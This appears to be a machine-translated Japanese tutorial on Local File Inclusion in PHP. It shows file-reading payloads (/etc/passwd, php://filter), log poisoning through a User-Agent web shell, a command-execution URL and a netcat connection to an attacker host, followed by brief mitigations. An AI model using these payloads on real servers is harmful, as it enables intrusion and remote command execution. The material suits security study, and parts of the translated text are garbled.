ローカルファイルインクルージョン(LFI)は、ローカルサーバーファイルを使用する機能です。この脆弱性により、リモートユーザーは、機密情報が含まれている可能性があるなど、特別に細工された要求を使用してサーバー上の任意のファイルにアクセスできます。今日は、この欠陥を使用している攻撃者がリモートサーバーでコマンドを実行する方法を説明します。
同様の脆弱性は、Webアプリケーションの実装で安全でない機能を使用する場合に発生します。たとえば、 includeを使用すると、ローカルファイルのページにコンテンツを含めることができます。この場合、次のよう
になります。include(“ $ file”)行のおかげ で、GETパラメータファイルの値がページコンテンツに含まれます 。ここで、この脆弱性を使用して、パラメーターで指定したローカルファイルを返します。
この記事は情報提供のみを目的としています。法律に違反しないでください。
脆弱性の検出
脆弱性を見つける方法は?潜在的に脆弱なパラメータにローカルファイル(たとえば、任意の拡張子のインデックス)を含めるように指定する と、このファイルが開きます。このパラメータがファイルのスワップを担当していると断言できます。これは、手動で実行することも、さまざまな自動ツールを使用して実行することもできます。たとえば、記事の1つで言及し たWapiti脆弱性スキャナー や、LFI脆弱性の検索と活用用に特別に設計された専用ツール LFISuiteなどです。
どのような落とし穴がありますか?たとえば、行末のファイル拡張子を置き換えるフィルタリングの存在(たとえば、 .php)。したがって、ページに/ etc / passwdファイルを 含めようとすると、アドレスバーにfile = / etc / passwd.phpが返され 、ファイルが存在しないため、このファイルの内容はページに表示されません。しかし、そのようなフィルターは、いわゆるゼロバイトを使用してバイパスすることができます。これにより、その後に続くすべてのものが「遮断」されます。実際には、HTTP要求を送信するときのアドレスバー全体がURLエンコードでエンコードされており、このエンコードでは、ゼロバイトは%00のようになります 。したがって、行 /etc/passwd%00.php/ etc / passwdに変換され ます。しかし、この問題はかなりよく知られており、中に固定されていることに留意すべきである PHP 5.3+。
バイパスフィルタリングに別のオプションを使用することです PHPのフィルタを。ファイルのインクルードを担当するパラメーターには、インクルードするファイルへのパスだけでなく、この関数を使用してファイルへのパスを書き込みます。これで、送信するリクエストは次のようになります。
http://site.test.lan/index2.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
そして、ブラウザページには、ファイルの内容ではなく、base64でエンコードされたソースが表示され ます。これはデコードできます
。LFIの脆弱性の要点を理解しました。これにより、悪用中にリモートサーバー上のローカルファイルを読み取ることができることがわかりました。しかし、LFIには、ローカルファイルを読み取るだけでなく、サーバーを危険にさらすことができる興味深い機能があります。
Webサーバーログのポイズニング
この脆弱性は新しいものではありませんが、それでも発生し、Webサーバーのセキュリティに深刻な脅威をもたらす可能性があることをすぐに言及する価値があると思います。 Webアプリケーションと対話するとき、要求はすべてWebサーバーログに記録されます。原則として、これらはファイル /var/log/nginx/access.logまたは /var/log/nginx/error.logです(たとえば、Webサーバーが使用されている場合)。 Nginxですが、もちろん、最終的なファイルの名前は異なる場合があります。
ここで、特別なリクエストを行うことにより、サーバー上にWebシェルを作成し、access.logに書き込みます 。これを行うには、追加し てUser-Agentヘッダーを変更し ます<?phpシステム($ _ GET [cmd]); ?>。リクエストを送信するには、Burp Suiteツールを使用します。このツール を使用すると、リクエストをリアルタイムで傍受して編集できます。User-Agentが使用されたのはなぜ ですか?前述のように、アドレスバーはURLエンコードを使用して情報をエンコードします。したがって、phpコードを転送するには、ヘッダーを使用する必要があります。User -Agentはaccess.logに正確に記述さ れているため 、これを使用します。
Webシェルが作成され、すぐに使用できるようになります
。LFIの脆弱性を使用してWebアプリケーションログにアクセスすると、その内容が読み取られ、スクリプト <?Phpシステム($ _ GET [cmd]); ?>-実行します。これにより、「cmd」変数を使用 してサーバー上でコマンドを実行できるようになります。
http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=ls /
ファイルの内容を読み取るためにフルパスを指定する必要があるLFIとは異なり、2番目のケースでは、サーバー上で任意のコマンドが実行されます。これは、サーバーファイルの読み取りに加えて、サーバーファイルにアクセスできることを意味します。これを行うには、cmdパラメーターでNetcatを起動するコマンドを 指定 して、攻撃者のサーバーと通信します。つまり、次のようにします。
http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=nc 192.168.0.135 4455
推奨事項
- 脆弱性を防ぐために、Webアプリケーションのセキュリティを定期的にチェックしてください。
- 行<?php exit(1)をWebサーバーログに追加します; ?>。このスクリプトは、このファイルでphpコードを実行しようとする試みを防ぎます(良い考えではありませんが、少なくともrsyslogがログファイルを再作成するまでは機能します)。

- WAFを使用すると、悪意のある要求がブロックされ、Webサーバーで実行されなくなります。